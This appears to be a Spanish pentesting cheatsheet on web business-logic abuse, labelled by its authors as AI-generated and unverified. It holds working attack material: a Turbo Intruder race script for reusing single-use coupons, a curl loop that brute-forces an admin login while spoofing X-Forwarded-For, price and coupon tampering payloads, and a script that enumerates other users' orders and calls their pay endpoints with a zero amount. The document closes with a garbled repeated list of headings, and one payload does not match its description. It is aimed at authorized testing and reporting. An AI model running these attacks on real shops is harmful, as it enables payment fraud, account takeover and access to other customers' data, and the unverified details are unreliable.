Business Logic Abuse Cheatsheet

⚠️ Contenido generado por IA (deepseek-chat) el 2026-09-03, a partir de conocimiento entrenado — NO es research con fuente verificada (para eso, ver Investigación/). Verificar detalles críticos (versiones, sintaxis exacta) antes de usar en un engagement real.

Race Conditions en Checkout/Pago

Detección rápida (proxy-level)

Enviar la petición de confirmación de pago (POST /api/checkout) con un token de un solo uso (nonce) o con una actualización de stock/inventario.
Usar Turbo Intruder (Burp) con la extensión race-single-packet-attack para disparar todas las peticiones en el mismo paquete TCP.

Payload (Turbo Intruder - single packet attack)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP)
    # Generar un solo paquete con N peticiones idénticas
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Escenario crítico: cupón de un solo uso

El flujo valida en BD que el cupón no se ha usado antes de aplicar el descuento, pero la transacción SQL es: SELECT ... FOR UPDATE → si no se usa bloqueo pesimista, dos requests concurrentes leen 0 usos y ambos insertan.
Payload HTTP (mismo cuerpo duplicado 15-30 veces en paralelo):

POST /api/v1/apply-coupon HTTP/1.1
Host: target.com
Content-Type: application/json

{"coupon_code":"WELCOME10","order_id":"ord_12345"}

Respuesta esperada

Si más de una respuesta devuelve 200 OK con discount_applied: true (o cualquier indicador de éxito) → race confirmada.

Mitigación a probar después

Verificar si el endpoint requiere idempotency-key. Si no, reintentar con distintos order_id.

Bypass de Rate Limiting (mal implementado)

Caso 1: Rate limit por IP pero basado en header `X-Forwarded-For` confiable

Enviar peticiones cambiando ese header cada vez:

POST /api/auth/login HTTP/1.1
Host: target.com
X-Forwarded-For: 10.0.0.1
Content-Type: application/json

{"username":"admin","password":"admin123"}

Luego repetir con 10.0.0.2, 10.0.0.3, etc. Herramienta: ffuf o script bash simple:

for i in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/api/login \
    -H "X-Forwarded-For: 192.168.$i.1" -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"wrongpass"}'
  echo " - attempt $i"
done

Caso 2: Rate limit basado en cuenta pero no en IP (login)

Probar contraseñas para un usuario usando múltiples IPs (rotar con proxies) pero mismo username. Si el contador es por IP+usuario, fallará; si es solo por IP, se puede lograr.

Caso 3: Resets de contador vía headers estándar

El servidor puede resetear el contador si recibe X-Forwarded-For con IP distinta en cada request, pero a veces el contador se guarda por sesión. Eliminar cookies y cambiar parámetros como device_id:

{"username":"admin","password":"test123","device_id":"new-uuid-here"}

Caso 4: Rate limit en endpoint de 2FA / OTP

Intentar agotar el límite de reintentos (ej. 5 intentos). Si el código de error es diferente al superar el límite (ej. 429), capturarlo. Luego usar un parámetro de depuración como debug=true o cambiar el verbo (GET/POST).

Manipulación de Precio/Cantidad en E-commerce

Cambio de cantidad negativa o decimales

En carrito, enviar quantity como -1 o 0.01:

POST /api/cart/update HTTP/1.1
Content-Type: application/json

{"product_id":"SKU-100", "quantity": 1, "price": 0}

Si el backend calcula price * quantity sin validar límites, precio total negativo puede dar crédito en la tienda.

IDOR en campos de precio ocultos

Al confirmar pedido (POST /api/checkout), añadir parámetros extra:

{"items":[{"product_id":"123","quantity":1}],"shipping_cost":0,"discount":9999}

Probar modificar unit_price dentro del array de items, incluso si originalmente no se enviaba:

{"items":[{"product_id":"123","quantity":1,"unit_price":0.01}]}

Manipulación de moneda/divisa

Si el backend convierte monedas, cambiar currency a una con tasa menor (ej. JPY sin decimales) y observar si el precio se redondea a cero.

Probar parámetros de `coupon` o `gift_card` duplicados

POST /api/apply-discount HTTP/1.1
Content-Type: application/x-www-form-urlencoded

coupon=SAVE10&coupon=SAVE10&coupon=SAVE10

A veces el servidor procesa lista y aplica descuento múltiples veces.

IDOR en Flujos Multi-Paso

Escenario típico

Paso 1: POST /api/orders → devuelve order_id
Paso 2: POST /api/orders/{id}/payment → confirma
Paso 3: GET /api/orders/{id}/invoice

Bypass cambiando el ID en pasos intermedios

Crear pedido con tu cuenta normal (order_id=A). Después, en el paso de pago, cambiar el ID a una orden de otro usuario (order_id=B) pero mantener tu token de sesión. Si el backend no valida que la orden pertenezca al usuario en cada paso, podrás pagar/ver la orden de otro.

Uso de métodos alternos para saltar pasos

Si el paso 3 (invoice) requiere que pago sea exitoso, pero el paso 2 tiene IDOR, directamente llamar a GET /api/orders/other_user_id/invoice sin completar pago. Probar también PUT, PATCH, DELETE sobre pasos intermedios.

Payload de petición encadenada (Burp collaborator / script)

# Obtener IDs válidos de otros usuarios (si endpoint de listado expone datos)
curl -s https://target.com/api/users | jq -r '.[].orders[].id' | while read id; do
  # Intentar acceder a la factura directamente
  curl -s -o /dev/null -w "%{http_code} $id\n" https://target.com/api/orders/$id/invoice
  # Si devuelve 200 sin autorización, hay IDOR
  # Luego intentar cambiar estado de pago
  curl -s -X POST https://target.com/api/orders/$id/pay -H "Content-Type: application/json" -d '{"amount":0}'
done

Multi-paso con objetos adjuntos

En un flujo de onboarding (paso 1: datos personales, paso 2: documento), probar cambiar user_id en el paso 2 a otra víctima para sobrescribir su documento o ver el tuyo en su perfil.

Cabeceras de autorización omitidas en pasos posteriores

Algunos flujos validan token en el primer endpoint pero no en los siguientes. Probar sin Authorization header en el paso 2/3 y ver si responde igual.

Checklist de autoría para reportes

Siempre verificar si la vulnerabilidad requiere autenticación de nivel bajo (usuario normal) o privilegiado.
En race conditions, limpiar la cuenta/pedido (no dejar cupones canjeados ni stock descontado).
Al probar manipulación de precio, usar un producto barato o hacer checkout con quantity=0 para no generar cobros reales.
Documentar la diferencia de comportamiento entre requests secuenciales y paralelas (tiempos de respuesta, logs).
Para IDOR multi-paso, adjuntar captura del flujo completo con IDs y cookies utilizadas.

Race Conditions en Checkout/Pago

Detección rápida (proxy-level)

Payload (Turbo Intruder - single packet attack)

Escenario crítico: cupón de un solo uso

Respuesta esperada

Mitigación a probar después

Bypass de Rate Limiting (mal implementado)

Caso 1: Rate limit por IP pero basado en header X-Forwarded-For confiable

Caso 2: Rate limit basado en cuenta pero no en IP (login)

Caso 3: Resets de contador vía headers estándar

Caso 4: Rate limit en endpoint de 2FA / OTP

Manipulación de Precio/Cantidad en E-commerce

Cambio de cantidad negativa o decimales

IDOR en campos de precio ocultos

Manipulación de moneda/divisa

Probar parámetros de coupon o gift_card duplicados

IDOR en Flujos Multi-Paso

Escenario típico

Bypass cambiando el ID en pasos intermedios

Uso de métodos alternos para saltar pasos

Payload de petición encadenada (Burp collaborator / script)

Multi-paso con objetos adjuntos

Cabeceras de autorización omitidas en pasos posteriores

Checklist de autoría para reportes

Caso 1: Rate limit por IP pero basado en header `X-Forwarded-For` confiable

Probar parámetros de `coupon` o `gift_card` duplicados